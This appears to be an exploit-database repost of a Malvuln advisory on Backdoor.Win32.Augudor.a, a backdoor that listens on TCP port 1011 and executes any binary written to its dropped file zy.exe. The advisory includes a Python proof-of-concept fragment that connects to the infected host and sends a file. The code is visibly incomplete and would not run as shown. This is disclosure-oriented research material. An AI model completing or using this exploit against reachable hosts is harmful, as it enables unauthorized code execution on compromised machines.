Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution

CVE Category Price Severity
N/A CWE-276 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2021-02-12
CVSS:Not Specified 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write Code Execution
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.
Type: PE32
MD5: 1b557d4f923b0de75e397686053a9022
Vuln ID: MVID-2021-0083
Dropped files: zy.exe
Disclosure: 02/10/2021

from socket import *


def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE =

    while EXE:

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")
    print("MD5: 1b557d4f923b0de75e397686053a9022")
    print("By Malvuln");

if __name__=="__main__":

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